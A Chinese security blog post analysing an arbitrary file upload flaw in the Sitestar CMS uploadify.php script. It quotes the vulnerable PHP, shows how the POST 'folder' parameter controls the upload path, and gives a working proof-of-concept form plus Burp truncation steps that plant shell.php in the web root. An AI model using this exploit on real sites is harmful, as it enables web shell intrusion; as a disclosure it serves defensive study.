建站之星任意文件上传漏洞(续一)

暗月博客 2019年11月21日15:53:57评论615 views字数 1806阅读6分1秒阅读模式
摘要

作者:felixk3y
#1 漏洞 挖掘

漏洞出现在

/script/multiupload/uploadify.php 51行---

建站之星任意文件上传漏洞(续一)

作者:felixk3y

#1 漏洞挖掘

漏洞出现在

/script/multiupload/uploadify.php 51行---

if (!empty($_FILES) && in_array($file_ext,$ext_arr)) {   //echo '2222';   $tempFile = $_FILES['Filedata']['tmp_name'];   $targetPath = $_SERVER['DOCUMENT_ROOT'] . $path . '/';   //echo $targetPath;   $imgfile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];   // 解决Windows中文文件名乱码   if (preg_match("/^WIN/i", PHP_OS)) {    $imgfile = iconv('UTF-8', 'GBK', $imgfile);   }     move_uploaded_file($tempFile, $imgfile);   ParamParser::fire_virus($imgfile);     function img_restruck($imgfile_name,$root, $path = 'upload/image/') {    define('SSFCK', 1);    define('SSROOT', $root);    include_once($root.'/library/image.func.php');      $fullfilename = SSROOT."/$path".$imgfile_name;      WaterImg($fullfilename, 'up');      }     if($WATERMARK_STATUS) img_restruck($_FILES['Filedata']['name'],$root);   echo "1";  }

#2 漏洞分析

往往出现文件上传漏洞,不是文件名可控,就是路径可控(低级的文件上传不包括在内)

看看文件名是否可控

搜索move_uploaded_file函数,往前看...

move_uploaded_file($tempFile, $imgfile);

跟上$imgfile

$imgfile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];

$_FILES['Filedata']['name']貌似我们可以控制,继续...

$_FILES['Filedata']['name'] = date("YmdHis") . '_' . rand(10, 99) . '.' . $file_ext;

看见了吧,原来我们不可控.好吧 那我们继续看另一个:路径是否可控

$imgfile =  str_replace('//','/',$targetPath) . $_FILES['Filedata']['name'];

跟下$targetPath

$targetPath = $_SERVER['DOCUMENT_ROOT'] . $path . '/';

看看 $path 怎么来的,本文件第14行:

list($path, $target) = explode("|", $_POST['folder']);

看见了吧? $_POST['folder'] 是我们完全可以控制的

呵呵 ,看吧 漏洞挖掘原来如此简单...

(其实一点儿也不简单 :-))

漏洞证明:

#3 漏洞利用

将如下代码保存为Upload.htm

<html>  <body>  <form id="frmUpload" action="http://127.0.0.1/sitestar/script/multiupload/uploadify.php?" method="post" enctype="multipart/form-data" >    <input type="file" name="Filedata" id="Filedata">    <input name="folder" type="hidden" value="/shell.php.jpg|shell.jpg">    <input id="btnUpload" type="submit" value="Upload">  </form>  </body>  </html>

访问Upload.htm,采用Burpsuite抓包截断

建站之星任意文件上传漏洞(续一)

点击Forward,就可在根目录下生成shell.php

建站之星任意文件上传漏洞(续一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日15:53:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   建站之星任意文件上传漏洞(续一)http://cn-sec.com/archives/71287.html

发表评论

匿名网友 填写信息